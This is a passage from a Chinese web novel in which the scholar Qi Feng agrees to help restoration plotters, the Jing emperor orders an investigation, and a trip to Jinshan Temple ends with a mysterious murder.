柳若雪没有理会其他人,只是看着齐枫,轻声道:“有些事情,想跟齐公子说,不知能否借一步出去走走?”
周子陵立刻朝齐枫挤了挤眼睛,嘴角勾起一抹玩味的笑。
徐远和陈玉堂也交换了一个眼神,显然是想到了什么。
赵明兰则直接皱起了眉头,不满地说道:“有什么话不能在这里说?非要出去说?”
齐枫看了一眼柳若雪,见她神色郑重,不像是开玩笑,便微微一笑,点了点头:“好啊。”
柳若雪与齐枫并肩走在喧闹的街道上,周围叫卖声,讨价还价声此起彼伏,挑着担子的小贩穿梭其间,一派市井繁华的景象。
柳若雪拢了拢耳边的碎发,目光落在前方熙攘的人群中,轻声开口:“齐公子,你是不是已经知道我的身份了?”
齐枫侧头看了她一眼,他微微一笑,脚步未停:“青禾跟我说过一些。”
柳若雪闻言,轻轻吁了口气,像是卸下了千斤重担,语气也轻松了些:“既然如此,那我也就不瞒公子了。”
她顿了顿,声音压得更低:“如今乾国旧部已在暗中**,霍天都将军是其中的核心人物,手握不少兵力,只是一直没有合适的机会与林姑娘见面。”
齐枫了然点头。
霍天都这个名字,他在楚清秋口中听过,是乾国的开国元勋之后,忠心耿耿,当年乾国覆灭时,他带着残余兵力退守边境,这些年一直隐忍蛰伏,等待复国时机。
“若是林姑娘直接去见霍将军,”柳若雪继续道,“难免会引人注意。毕竟她现在是以公子侍女的身份留在锦绣阁,一举一动都可能被人盯着。可若是由公子提出要与霍将军见面,再从中牵线,就显得顺理成章多了,不容易让人起疑。”
齐枫脚步微顿,看着街边一个捏糖人的小贩,若有所思道:“柳姑娘的意思是,让我做个中间人?”
“正是。”柳若雪点头,眼中带着期盼,“霍将军近期会以商
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人的身份经过锦绣阁附近的街道。到时候还请公子能制造一些偶遇的机会,让林姑娘能顺理成章地与他接上话。”
她看着齐枫,语气诚恳:“此事关系重大,关乎乾国复兴的希望,还请公子务必帮忙。只要公子肯答应,无论付出什么代价,我都愿意。”
说到最后几个字时,她的脸颊微微泛红,眼神却异常坚定,带着一种破釜沉舟的决绝。
齐枫看着她泛红的脸颊和眼中的坚定,哪还不明白她话里的意思?
他忍不住失笑,摇了摇头:“柳姑娘真是……为了乾国,连自己都肯赌上?”
柳若雪被他说得脸颊更红,却还是挺直了脊背,认真道:“我不是赌上自己,只是不想让景国就这么嚣张下去。当年景国铁骑踏破乾国都城时,多少百姓流离失所,多少忠魂埋骨他乡?我父亲就是死在那场战乱里,我这条命,本就是捡回来的,能为复国尽一份力,是我的荣幸。”
她的声音里带着一丝哽咽,眼中闪过刻骨的仇恨,却又很快被坚定取代:“只要能推翻景国,让乾国百姓重归故土,我做什么都愿意。”
齐枫看着她,脸上的笑容渐渐淡去,取而代之的是一种复杂的神色。
他沉默片刻,终是点了点头:“好,我答应你。”
柳若雪猛地抬头,眼中闪过惊喜:“真的?”
“嗯。”齐枫颔首,“到时候我会见机行事,给你们创造机会。”
“多谢公子!”柳若雪激动得声音都有些颤抖,对着齐枫深深一揖,“大恩不言谢,日后若有需要我柳若雪的地方,公子尽管开口。”
她说着,又想起刚才的话,脸颊更红了,下意识地低下头,不敢看齐枫的眼睛。
齐枫看着她窘迫的样子,故意逗她:“哦?刚才柳姑娘说,无论付出什么代价都愿意,现在还算数吗?”
柳若雪身体一僵,咬了咬嘴唇,像是下定了巨大的决心,缓缓抬起头,眼神带着几分羞涩,却还是点了点头:“自然算数。公子什么时候想要我……”
第一百七十七章 什么时候要我
“噗嗤!”齐枫忍不住笑出了声,摆了摆手,“我逗你的。我什么时候说要你付出这种代价了?”
柳若雪愣住了:“那,公子刚才答应帮忙,难道不是因为……”
“我答应帮忙,是因为觉得此事可行,与你的条件无关。”齐枫收起玩笑的神色,认真道,“我对齐某对女人,从来讲究你情我愿,从不勉强。柳姑娘不必如此。”
柳若雪这才明白自己误会了,顿时羞得恨不得找个地缝钻进去,连忙低下头,声音细若蚊蝇:“是……是我误会公子了,还请公子恕罪。”
齐枫笑着摇了摇头,没再打趣她,转而看向街道尽头:“说起来,柳姑娘就不好奇吗?我是景国人,为何会帮你们乾国旧部?”
柳若雪确实好奇,闻言抬起头,眼中满是疑惑:“是啊,公子为何愿意帮忙?”
齐枫望着远处熙攘的人群,目光变得深邃起来,轻轻叹了口气:“因为我看不惯景国如今的所作所为。”
他顿了顿:“景国朝廷现在奸臣当道,君王昏庸无能,只知贪图享乐,搜刮民脂民膏。咱们身处府城这等中心地带,日子还算好过,可那些偏远地区的百姓呢?有的吃不饱穿不暖,有的遭受洪灾涝灾,流离失所,朝廷却视若无睹,连赈灾的粮食都被层层克扣。”
“这样的朝廷,就算能坐稳江山,又能持续多久?”齐枫的声音里带着一丝嘲讽,“对我来说,这天下是景国掌控,还是乾国复兴,都不重要。重要的是,谁能让百姓安居乐业,谁能还这天下一个清明。”
柳若雪怔怔地看着齐枫,眼中充满了震惊。
她从未想过,一个景国的书生,竟然会有如此胸襟和见识。
他关心的不是国仇家恨,而是天下百姓的福祉!
这一刻,她忽然明白了楚清秋为何会对这个男人另眼相看,甚至不惜放下女帝的身段,留在他身边做一个侍女。
这个男人的身上,有一种让人无法忽视的魅力,一种远超常人的格局。
齐枫见她久久不语,笑了笑:“好了,该说的都已经说了,若是没别的事,我就先回锦绣阁了。”
“嗯。”柳若雪连忙点头,看着齐枫转身离去的背影,看着他融入熙攘的人群中,挺拔的身姿在喧闹的街道上显得格外醒目。
她站在原地,望着那个渐渐远去的背影,心中忍不住涌起一个念头。
这个齐枫,到底是一个什么样的男人?
他既有书生的温润儒雅,又有政客的精明算计。
他看似置身事外,却又在暗中布局,他是景国人,却愿意帮助乾国旧部……
柳若雪轻轻摇了摇头,眼中闪过一丝迷茫,却又很快被坚定取代。
不管他是什么样的人,只要他愿意帮助乾国,愿意帮助陛下,那就是朋友。
她深吸一口气,转身朝着另一个方向走去,脚步轻快了许多。
齐枫先是回了醉月楼,等回到锦绣阁时,夕阳的余晖正透过雕花木窗,在地板上投下斑驳的光影。
他刚踏入内院,便见楚清秋一袭青衣,静立在廊下,望着天边的晚霞出神。
“青禾。”齐枫走上前,打破了这份宁静。
楚清秋转过身,面纱下的目光落在他身上:“少爷,柳若雪找你了?”
齐枫挑眉,故作惊讶:“你怎么知道?”
楚清秋轻抿唇角,语气平静:“她方才回房时,神色与往常不同,脚步轻快,眼底却藏着几分激动。府城能让她如此失态的,除了与复国相关的事,再无其他。而她要办的事,多半绕不开你。”
齐枫哈哈一笑:“你这观察力,不去当捕快真是可惜了。不错,柳姑娘确实找我了,想让我做个中间人,安排你与霍天都将军见一面。”
楚清秋闻言,沉默片刻,轻轻叹了口气:“我就知道,她还是忍不住。我本不想把你牵扯进来,毕竟你是景国人,这些事关系重大,稍有不慎便会引火烧身
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。”
“引火烧身?”齐枫摆手,笑容从容。
“青禾,你太小看我了。我既然答应帮忙,自然是权衡过利弊。霍天都将军以商人身份经过锦绣阁附近,届时我偶遇他,再顺势介绍你认识,神不知鬼不觉,何来风险?”
他顿了顿,目光落在楚清秋微蹙的眉头上:“再说,你我相处日久,你是什么样的人,我心里有数。乾国旧部图谋复国,若真能让天下百姓过得更好,我为何要阻拦?”
楚清秋抬眼望他,眼中闪过一丝复杂:“少爷,委屈你了。”
“委屈?”齐枫失笑,“我齐枫做事,从不做委屈自己的事。若真是为难,我当初就不会答应柳姑娘。”
他话锋一转,状似随意地问道:“说起来,我一直有些好奇。你虽说是将军之女,霍天都却是乾国开国元勋之后,位高权重,按理说不该由他主动找你。你们之间,除了将军之女这层身份,还有别的渊源?”
楚清秋心头咯噔一下,指尖下意识地攥紧了衣袖。
她早就料到齐枫会有此一问,却没想到来得这么快。
“或许是想打探我父亲的下落吧。”楚清秋垂下眼帘,“我父亲当年与霍将军共事,乾国覆灭后便失踪了,霍将军找我,多半是想问问线索。”
这个理由合情合理,既解释了霍天都的动机,又不会暴露自己的**。
齐枫看着她微颤的睫毛,眼底闪过一丝了然,却没有追问,只是笑道:“原来如此。那更该安排你们见一面了,说不定还能帮你找到父亲的踪迹。”
楚清秋松了口气,抬头勉强一笑:“多谢少爷。”
齐枫摆摆手,转身朝书房走去:“时辰不早了,我去处理些锦绣阁的账目。你也早点歇息,养足精神,才能应付后续的事。”
望着齐枫离去的背影,楚清秋轻轻摘下面纱,眼中闪过一丝愧疚。
她知道,齐枫未必全信她的说辞,只是不愿戳破。
第一百七十八章 异星
这份默契,包容,让她心头泛起一阵暖意,却又夹杂着几分不安。
复国之路布满荆棘,她真的能连累这个一次次帮她的男人吗?
……
与此同时,千里之外的景国都城,皇宫深处的御书房内,气氛却压抑得让人窒息。
明黄色的龙椅上,景国皇帝景帝正负手而立,目光如刀,死死盯着脚边那枚被摔落在地的赤红玉佩。
玉佩上的双龙雕刻虽然细致,但是与真正的碧玺龙佩相去甚远,他一眼便能看出是仿制品。
萧无痕跪在冰冷的金砖上,额头抵地,浑身僵硬,冷汗顺着鬓角滑落,浸湿了衣领。
“萧无痕!”景帝的声音如同寒冬的冰棱,带着刺骨的寒意,“你在府城查了这么久,就给朕带回来这么个玩意儿?”
萧无痕身体一颤,喉结滚动:“臣……臣罪该万死!此佩虽是仿品,但臣已查明,袁氏私藏龙佩一事属实,而且那叫齐枫的也很奇怪……”
景帝冷笑一声,一脚将那枚假玉佩踢到萧无痕面前,“一个春闱榜首,能从袁氏眼皮子底下调换龙佩?你当朕是三岁孩童,这么好骗?”
萧无痕额头冷汗更甚,连忙道:“陛下息怒!那齐枫看似是个书生,实则心机深沉,手段狠辣,臣怀疑,他与乾国余孽也有勾结,那枚真龙佩,怕是已落入余孽手中!”
景帝缓缓转过身,龙袍在烛火下泛着冷光:“勾结余孽?萧无痕,你可知你在说什么?一个春闱榜首,放着光明前途不要,去勾结前朝余孽?你查不出真凭实据,就拿这些臆测来搪塞朕?”
他顿了顿,语气陡然加重:“朕让你去府城,是让你抓余孽、寻龙佩,不是让你跟一个书生斗来斗去!如今余孽没抓到,龙佩是假的,你还让袁氏折了嫡子,闹得府城人心惶惶!你这个锦衣卫指挥使,是越来越能耐了!”
萧无痕的额头重重磕在地上:“臣无能!请陛下再给臣一次机会!臣定会查明真相,将齐枫与乾国余孽一网打尽,夺回真龙佩!”
景帝看着他惶恐的模样,沉默片刻,终是挥了挥手,语气疲惫:“滚吧。朕再给你一次机会,若还拿不出让朕满意的结果,你就提着自己的人头来见朕!”
“谢陛下开恩!臣告退!”萧无痕如蒙大赦,连滚带爬地退出御书房,后背的衣衫早已被冷汗浸透。
御书房内重归寂静,景帝重新望向窗外的夜色,眉头紧锁。
近年来,景国看似安稳,实则暗流涌动。
北方匈奴虎视眈眈,南方水患频发,朝中以丞相为首的文官集团与外戚势力明争暗斗,如今连乾国余孽都敢在府城兴风作浪,这天下,怕是越来越不太平了。
“陛下。”
一道黑影突然从角落的阴影中走出,身形佝偻,脸上布满皱纹,正是宫中钦天监的监正,人称“鬼算子”的老者。
他手中拿着一枚龟甲,声音沙哑:“夜观天象,紫微星旁忽现异星,光芒隐而不发,却带着蚀骨之气,直指西南方向。”
景帝回头,眼中闪过一丝凝重:“西南?府城的方向?”
鬼算子点头,浑浊的眼睛里闪过一丝忧色:“此星与乾国余孽盘踞之地隐隐呼应,却又带着景国气运,臣推测,此人或许与余孽有关,却又并非纯粹的反贼。”
“哦?”景帝挑眉,“既与余孽有关,又有景国气运?这倒有趣。你可知此人是谁?”
鬼算子摇头,叹了口气:“天机晦涩,臣只能看出方位,却算不出具体身份。此人若为景国所用,或许能平定乱象,若为余孽助力……”
他顿了顿,没再说下去,但其中的深意不言而喻。
景帝的目光重新落回那枚假龙佩上,手指轻轻敲击着龙椅扶手,眼中闪过一丝狠厉:“不管他是谁,敢在朕的天下兴风作浪,就得有承受朕怒火的觉悟。”
他看向鬼算子,沉声道:“传令下去,让萧无痕加派人手,务必查清楚这颗异星的底细。若真是可用之才,便拉拢过来,若是与余孽
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勾结……”
景帝的声音冰冷刺骨:“朕要他**万段,永世不得超生!”
鬼算子躬身应道:“臣遵旨。”
夜色如墨,醉月楼的雅间内烛火摇曳,南宫玥一袭月白纱裙,正临窗抚琴。
琴音清越如流水,缠绕着淡淡的酒香,在寂静的夜里格外动人。
齐枫推门而入时,正撞见她抬手拨弦的侧影,月光透过窗棂落在她发间,宛如镀上一层银霜,美得让人心头一颤。
“齐郎。”南宫玥停下指尖的动作,回眸一笑,眼波流转间带着几分柔媚,“锦绣阁的事忙完了?”
齐枫走上前,顺势坐在她身侧,鼻尖萦绕着她发间的清香:“嗯,账目都核对完了。倒是你,这么晚了还没歇息,是在等我?”
南宫玥脸颊微红,轻轻点头,将琴推到一旁,起身为他斟了杯酒:“你想必累了吧?这杯酒能解乏。”
酒液入喉,带着一丝温热的暖意,齐枫看着她低垂的眼帘,忽然伸手将她揽入怀中。
南宫玥轻呼一声,挣扎了两下便温顺地靠在他胸前,耳尖红得能滴出血来。
“月儿。”齐枫的声音在她耳边响起,带着几分沙哑,“明日……”
话未说完,南宫玥已抬起头,踮起脚尖吻上他的唇。
柔软的触感带着酒香,瞬间点燃了空气中的暧昧。
烛火在风中摇曳,将两人的影子拉得很长,交织在一起,难分彼此。
雅间内的琴音早已停了,只剩下细微的喘息与布料摩擦的声响。
窗外的月光不知何时被乌云遮住,唯有烛火跳动,映着南宫玥泛红的眼角与齐枫深邃的眼眸。
醉月楼的月色格外温柔,雅间内的旖旎风情,如同琴音般缠绵,直至天边泛起鱼肚白,才渐渐归于平静。
……
翌日清晨,锦绣阁的院子里热闹非凡。
周子陵,徐远,陈玉堂三人早已等候在院中,赵明兰则站在一旁,手里把玩着一根马鞭,时不时朝门口张望。
第一百七十九章 金山寺
“齐兄,你可算出来了!”周子陵一见齐枫的身影,立马迎了上去,脸上带着兴奋,“我们仨合计着,这几日府城事多,不如去城外的金山寺烧柱香,求个平安顺遂。”
徐远也跟着点头,补充道:“这金山寺可有来头!据说建于百年前,香火鼎盛,尤其是寺里的求愿树,据说特别灵验。府城不少世家子弟都爱去那儿祈福,连赵大人和卢大人每年都要去上香呢。”
陈玉堂接口道:“可不是嘛。寺里的主持慧能大师是得道高僧,能断吉凶,不少人千里迢迢赶来求他指点迷津。咱们去拜拜,说不定还能沾点福气。”
赵明兰闻言,眼睛一亮,却故意板着脸道:“本来我是不打算去的,整日对着一群和尚有什么意思?不过……”
她话锋一转,看向齐枫,嘴角勾起一抹俏皮的笑:“若是齐兄肯去,我倒是可以陪你们走一趟。”
齐枫看着几人期待的眼神,心情正好,便笑道:“既然诸位都有兴致,我自然奉陪。正好最近府城事多,去寺庙清静几日也好。”
他顿了顿,目光扫过院内:“南宫姑娘和柳姑娘若是有空,也一起去吧?人多热闹。”
周子陵拍手道:“好主意!有两位姑娘同行,路上也不枯燥!”
徐远也附和:“青禾姑娘和小荷也一起,人多才有意思!”
楚清秋与小荷恰好从回廊走来,闻言对视一眼,楚清秋轻声道:“少爷去哪,青禾便去哪。”
小荷则兴奋地跳起来:“我要去我要去!听说寺庙里的素斋特别好吃!”
齐枫又看向一旁的富贵:“你也跟着,路上也好照应。”
富贵咧嘴一笑:“得嘞,少爷!有我在,保准没人敢捣乱!”
一行人说定后,很快备好了马车。
齐枫,楚清秋,小荷乘一辆,周子陵三人与赵明兰乘一辆,南宫玥与柳若雪则乘一辆,富贵骑马护在两侧,浩浩荡荡地朝着城外的金山寺出发。
马车行驶在官道上,窗外的景色渐渐从繁华的街市变成了郊外的田野。
金黄的麦田在风中起伏,远处的青山如黛,空气里弥漫着泥土的清香,让人心情也跟着舒畅起来。
“齐兄,你说这金山寺真有那么灵验吗?”车厢里,周子陵掀开帘子看着窗外,忍不住问道,“我娘去年去求了个姻缘签,回来没多久就给我哥定下了亲事,听说那姑娘贤惠得很。”
徐远也凑过来:“我祖母去求过健康签,原本常年咳嗽,回来后竟真的好了大半,邪门得很。”
齐枫靠在软垫上,手里把玩着折扇:“信则有,不信则无。求个心安罢了。”
楚清秋坐在一旁,安静地看着窗外,忽然开口:“听说金山寺后山有一处静心湖,湖水清澈见底,能映出人影,当地人说那是照心镜,心术不正的人看了会心慌。”
小荷瞪大眼睛:“真的假的?那我得去瞧瞧!我肯定不心慌!”
众人被她逗得哈哈大笑,车厢里的气氛愈发轻松。
一路说说笑笑,马车行了整整一天,直到傍晚时分,才远远望见金山寺的轮廓。
寺庙建在金山之巅,依山而建,红墙黄瓦在夕阳下格外醒目。
层层叠叠的殿宇沿着山势铺开,最高处的藏经阁直插云霄,仿佛与天际相连。
山脚下的石阶蜿蜒而上,两旁绿树成荫,隐约能看见香客往来的身影。
“好家伙,这金山寺可真气派!”周子陵推开车门,忍不住惊叹,“比府城的城隍庙壮观多了!”
赵明兰也探出头,眼中闪过一丝惊艳:“难怪这么多人来,光是这气派,就透着股灵气。”
众人下了马车,沿着石阶往上走。
石阶两旁摆满了小摊,卖香烛的,卖素糕的,卖平安符的,吆喝声此起彼伏,热闹得像个集市。
香客们三三两两地往上走,有穿着华贵的世家子弟,有提着篮子的农妇,还有拄着拐杖的老人,脸上都带着虔诚的神色。
走到半山腰时,夕阳的余
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晖正好洒在寺庙的金顶上,折射出耀眼的光芒,仿佛有佛光普照,让人不由得心生敬畏。
“快到了。”南宫玥扶着柳若雪的手臂,气喘吁吁地说道,“这石阶可真长。”
柳若雪笑了笑:“登上山顶就能看到全景了,据说日落时分的金山寺最美。”
一行人继续往上走,终于在夕阳完全落下前抵达了山顶的寺庙门口。
寺门上方挂着“金山寺”三个鎏金大字,笔力遒劲,透着一股禅意。
门口的石狮子威武雄壮,香火缭绕中,隐约能听见寺内传来的钟声,悠远肃穆。
“先去客房安顿下来吧,明日再上香。”齐枫提议道,目光扫过寺庙的布局。
就在此时,他眼角的余光瞥见寺庙西侧的角落,一道黑影一闪而过。
那人穿着粗布衣衫,身形佝偻,走路时却透着一股不自然的僵硬,显然是在刻意掩饰什么。
齐枫的目光微微一凝,刚想细看,那黑影已消失在回廊尽头,仿佛从未出现过。
“齐兄,怎么了?”周子陵注意到他的异样,好奇地问道。
齐枫收回目光,摇了摇头,笑道:“没什么,许是看错了。走吧,先去安顿。”
他跟着众人往客院走去,心里却泛起一丝疑惑。
这金山寺看似清净,可那道鬼鬼祟祟的身影,究竟是谁?是香客,还是另有目的?
金山寺的客院建在藏经阁西侧,青瓦白墙,掩映在苍翠的松柏之间,透着一股清幽禅意。
一名身着灰色僧袍的小和尚双手合十,引着众人往里走,稚嫩的脸上带着腼腆的笑意:“诸位施主,寺里的客房都是双人一间,清净得很。东边几间朝阳,西边临着竹林,不知诸位想选哪处?”
南宫玥目光扫过院落,轻声道:“临着竹林的吧,夜里能听风声,清雅。”
柳若雪点头附和:“我也觉得竹林好,空气里都带着竹香。”
此话一出,两女默契的对视一眼,莞尔一笑。
第一百八十章 天劫之力
赵明兰却撇撇嘴:“我才不要听风声,吵得慌。我选朝阳的,暖和。”
楚清秋没什么偏好,只道:“我都行,随大家安排。”
小荷拉着楚清秋的袖子,眼睛亮晶晶的:“青禾姐姐,咱们跟赵姐姐一起住朝阳的吧?晒太阳舒服!”
小和尚见状,笑着摆手:“无妨无妨,东边三间,西边三间,正好够住。女施主们先挑,男施主们住剩下的便是。”
最终,南宫玥与柳若雪选了西边临竹的客房。
赵明兰,楚清秋与小荷住了东边朝阳的,齐枫,周子陵,徐远,陈玉堂则分了另外两间,富贵守在院门口,说自己打地铺就行,不用占客房。
安顿妥当后,小和尚又引着众人去斋堂用晚膳。
斋堂宽敞明亮,长条木桌整齐排列,香客们安静地坐着用餐,只听见碗筷轻碰的声响。
素斋的菜式简单却精致,凉拌木耳清脆爽口,炒时蔬翠绿欲滴,豆腐羹滑嫩鲜香,还有一碗桂花糯米粥,甜而不腻。
小荷捧着碗,吃得腮帮子鼓鼓的,含糊不清地赞道:“这素斋真好吃!尤其是这豆腐,嫩得像水做的!”
齐枫夹了一筷子青菜,笑道:“慢点吃,没人跟你抢。寺庙的素斋讲究‘清,净,淡’,吃的就是这份原味。”
赵明兰喝着粥,挑眉道:“没想到和尚们的手艺这么好,回头得问问厨子用了什么调料。”
周子陵打趣道:“赵小姐是想把厨子挖回府城?”
赵明兰眼睛一亮:“这主意不错!”
众人一阵哄笑。
晚膳后,小和尚来问是否要去前殿参加晚课。
南宫玥与柳若雪想去见识一番,楚清秋陪着小荷在客院散步,赵明兰嫌晚课枯燥,回房摆弄她的马鞭去了。
齐枫懒得动弹,便和周子陵三人在院子里闲逛。
月色透过松枝洒下,地面斑驳如碎银,远处传来晚课的诵经声,让人的心也跟着沉静下来。
“齐兄,你说这金山寺真有慧能大师那样的得道高僧?”徐远踢着脚下的石子,好奇地问道,“真能掐会算?”
陈玉堂摇头:“多半是传言夸大了,哪有人真能断人生死祸福?”
齐枫笑了笑:“宁可信其有,不可信其无。真要是有缘见着,倒可以讨教两句。”
他说着,脚步不由自主地朝后院走去。
陈玉堂几人则是对视了一眼,先行回房了。
后院比前院更清静,只有几间低矮的禅房,门口挂着“游人止步”的木牌。
月光下,一名须发皆白的老和尚正坐在石桌旁,手里捻着佛珠,闭目养神。
那和尚穿着洗得发白的僧袍,身形清瘦,却透着一股莫名的威严,想必就是慧能大师。
齐枫刚想转身避开,老和尚却缓缓睁开眼,目光落在他身上,带着几分洞悉世事的平和:“施主请留步。”
齐枫顿住脚步,拱手道:“大师客气了。”
慧能大师微微一笑,声音沙哑有力:“施主身上,有两种气。一种是人间烟火,热热闹闹,一种是世外孤魂,冷冷清清。寻常人只有一种,施主却两者皆有,有趣,有趣。”
齐枫心头一震,面上却不动声色:“大师说笑了,在下不过是个普通书生。”
老和尚摇头,捻着佛珠的手指停了停:“书生?施主眉宇间的杀伐气,比战场上的将军还重。只是这杀气里裹着慈悲,倒像是……背着什么放不下的担子。”
他站起身,朝齐枫微微躬身:“施主与佛有缘,却非佛缘。前路漫漫,好自为之。”
说罢,便转身走进禅房,关上了门,仿佛刚才的对话从未发生。
齐枫站在原地,望着紧闭的房门,心头发沉。
这老和尚竟能看出他身上的“两种气”,难道连他是穿越而来的事都隐约察觉?
如果是这样的话,未免有些太恐怖了!
夜风穿过竹林,发出沙沙的声响。
齐枫深吸一口气,压下心头的波澜,转身回了客院。
客房里,周子陵三人正围着一张棋盘厮杀,见他回
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来,徐远招呼道:“齐兄,快来帮忙看看,周子陵这步棋是不是耍赖了?”
周子陵瞪着眼:“我哪耍赖了?明明是你棋艺不精!”
陈玉堂在一旁偷笑:“依我看,你们俩旗鼓相当,都不怎么样。”
齐枫坐下观战,刚才的凝重渐渐散去。
周子陵几人开始吵吵嚷嚷,说的都是府城的趣事,哪家的绸缎涨价了,哪家的公子又被父亲罚了,琐碎却鲜活,让人觉得安稳。
不知不觉,月上中天。
众人散去回房,齐枫躺在床榻上,却没什么睡意。
慧能大师的话在他脑海里盘旋,还有傍晚看到的那道黑影,总觉得有些不对劲。
就在他即将入眠时,窗外忽然传来一阵极轻微的响动,像是有人踩在落叶上,脚步轻快,带着一股刻意的谨慎。
齐枫猛地睁开眼,屏住呼吸。
那身影在窗外一闪而过,速度极快,借着月光能看出是个黑衣人,身形与傍晚在寺庙角落见到的佝偻身影截然不同,更像是受过训练的高手。
黑影没有停留,朝着后院的方向掠去,几个起落便消失在夜色中。
齐枫悄无声息地坐起身,眼中闪过一丝警惕。
这金山寺看似清净,夜里却有黑衣人活动,是冲着他们来的,还是另有所图?
夜风穿过窗棂,带着一丝寒意。
今夜,怕是不会太平了。
齐枫摇了摇头,坐在床榻上,指尖萦绕着一缕微弱的气流。
这气流呈淡金色,隐隐带着雷霆之意,是他前不久修炼时意外察觉的“天劫残力”。
前世,他冲击武道巅峰时引动天劫,却在最后关头功亏一篑,本以为会魂飞魄散,没想到竟穿越到这异世。
如今想来,或许是天劫之力过于霸道,撕裂空间的同时,也将他的魂魄裹挟至此,而这缕残力,便是那场浩劫留下的印记。
“寻常武者渡天劫,要么成功突破,要么身死道消,能像我这样带着天劫残力穿越的,怕是古今未有!”
第一百八十一章 寺庙命案
齐枫嘴角勾起一抹自嘲的笑,指尖轻轻一动,那缕金色气流便如活物般盘旋,散发出令人心悸的威压。
这股力量极其霸道,哪怕只是一缕残息,也带着毁灭的气息。
齐枫运转内力试图将其炼化,却发现这残力如同顽石,不仅难以驯服,反而隐隐有反噬之意,仿佛在抗拒被掌控。
“难怪前世渡不过天劫,这力量果然非同小可。”齐枫收敛心神,不再强行炼化,转而尝试用内力包裹残力,将其压制在丹田深处。
他很清楚,在这异世,实力才是立足的根本,这缕天劫残力若是能为己所用,日后应对任何危险,无疑都是多了一张底牌。
就在他全力压制残力时,一缕极淡的威压不慎泄露,穿透门窗,飘向院外。
守在院门口的富贵正靠在柱子上打盹,忽觉一股寒意从头顶罩下,仿佛有九天雷霆即将劈落,让他浑身汗**倒竖,下意识地想跪地臣服。
他猛地睁开眼,眼中满是惊骇,下意识地握紧腰间的短刀,却发现自己连抬手的力气都没有。
那股威压虽只一闪而逝,却让他灵魂都在颤抖,仿佛面对是一尊俯瞰众生的神明。
“这……这是什么力量?”富贵咽了口唾沫,后背已被冷汗浸透。
他纵横江湖多年,见过不少顶尖高手,可从未有人能仅凭一缕气息就让他生不起半点抵抗之心。
“少爷他……到底是什么人?”富贵脑海中闪过齐枫平日里吊儿郎当的模样,再联想到刚才那股毁天灭地的气息,心中掀起惊涛骇浪。
“难怪能轻易收服我,还能让段某心甘情愿臣服,原来少爷的实力竟恐怖到这种地步!”
他不敢再多想,悄悄退后两步,更加警惕地守在院门口,心中却已将齐枫奉若神明!
这样的人物,绝非池中之物,跟着他,或许能看到更广阔的天地。
客房内,齐枫已将天劫残力彻底压制,只觉浑身疲惫,便倒头睡去。
这一夜,他睡得格外安稳,仿佛那缕残力也在沉睡,不再躁动。
翌日清晨,天刚蒙蒙亮,院外便传来急促的敲门声。
“少爷!不好了!出大事了!”富贵的声音带着几分急躁。
齐枫揉了揉眼睛,起身开门,只见富贵额角还沾着冷汗,显然是真的急了。
“慌什么?慢慢说。”齐枫打了个哈欠,语气平静。
富贵深吸一口气,才急声道:“少爷,昨夜寺里**了!是个香客,听说是邻城的张老爷,死相……死相特别凄惨!”
“**?”齐枫眉头一挑,心中顿时想起昨夜那道黑衣人身影,“**的?”
“具体我也不清楚,是寺里的小和尚发现的,说张老爷的客房门窗完好,可他本人却倒在地上,浑身青紫,像是被什么东西吸干了内力,连骨头都软了!”
富贵咽了口唾沫,眉头紧紧的皱了起来,“现在寺里的香客都慌了,赵小姐他们也都赶过去了,让我来叫您。”
齐枫刚想追问,便见周子陵,徐远,陈玉堂三人匆匆赶来,脸上都带着惊色。
“齐兄,你听说了吗?寺里**了!”周子陵一见面就急声道,“那张老爷我还见过,昨天傍晚还在山脚下买香烛,怎么一夜之间就没了?”
徐远也跟着点头,脸色发白:“听说死相特别吓人,浑身没一点力气,像是被抽干了似的,邪门得很!”
陈玉堂皱眉道:“这金山寺素来清净,怎么会出这种事?不会是有歹人混进来了吧?”
几人正说着,南宫玥,柳若雪,赵明兰,楚清秋和小荷也走了过来。
南宫玥脸色苍白,显然是被吓到了,柳若雪眉头紧锁,若有所思,赵明兰虽强装镇定,却也攥紧了手帕。
楚清秋目光清冷,看不出情绪,小荷则躲在楚清秋身后,小脸发白,显然是怕了。
“齐郎,你可算醒了。”南宫玥走上前,声音都带着几分颤抖,“那张老爷死得太惨了,寺里的和尚说,门窗都没被撬动的痕迹,像是……像是凭空**
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了一样。”
赵明兰哼了一声,强撑着道:“怕什么?肯定是他自己得罪了人,被仇家找上门了!这金山寺又不是铜墙铁壁,有歹人混进来也正常。”
柳若雪轻声道:“可门窗完好,凶手是怎么进去的?若真是仇家寻仇,何必选在寺庙里,还做得这么隐秘?”
楚清秋也开口道:“昨夜我隐约听到院外有动静,还以为是香客起夜,现在想来,怕是凶手作案后离开的声音。”
小荷躲在楚清秋身后,小声道:“青禾姐姐,会不会是鬼啊?我听人说,寺庙里阴气重,容易闹鬼……”
“别胡说!”赵明兰瞪了小荷一眼,却也有些心虚,“哪有什么鬼?肯定是人干的!”
周子陵搓了搓手,提议道:“不管是人是鬼,咱们总得去看看吧?说不定能发现什么线索。齐兄,你觉得呢?”
徐远和陈玉堂也点头附和,显然都想弄清楚真相。
南宫玥担忧道:“可万一凶手还在附近,会不会有危险?”
齐枫目光扫过众人,沉声道:“危险肯定有,但躲着也不是办法。既然撞上了,就去看看。富贵,你跟在我身边,注意警戒。”
富贵连忙点头:“少爷放心,有我在,定不让人伤了您!”
楚清秋轻声道:“少爷,我也跟你一起去,或许能帮上忙。”
柳若雪也道:“我略懂些医理,或许能看出张老爷的死因。”
赵明兰见状,也梗着脖子道:“我也去!我倒要看看,是什么人这么大胆,敢在寺庙里**!”
所谓人多力量大,在寺庙里面发生这种诡异的命案确实让人不寒而栗。
可众人更加好奇的是,做这件事情的到底是什么人?为什么要在这种情况下迫不及待的**?
齐枫见众人都有此意,便点头道:“既然这样,那就一起过去看看。记住,不要乱碰现场的东西,一切等寺里的和尚和官府的人来处理。”
众人纷纷应下,跟着齐枫朝张老爷的客房走去。
第一百八十二章 诡异的尸体
金山寺东跨院外的晨雾尚未散尽,空气中却已弥漫开一股压抑的气息。
数十名身着灰褐色僧袍的武僧手持镔铁长棍,以客房为中心围成一圈,将看热闹的人群拦在两丈之外。
香客们三三两两聚在远处,交头接耳的议论声如同潮水般此起彼伏,有人攥着念珠念佛,有人踮着脚朝客房方向张望,还有人脸色发白地拽着同伴往后退。
“我的天,张老爷可是邻城的大善人,怎么会在这儿出事?”一个穿着绸缎长衫的商人捧着暖手炉,声音发颤,“昨天傍晚我还在山脚下的素斋铺见过他,当时他还笑着跟我打招呼,怎么一夜之间就没了?”
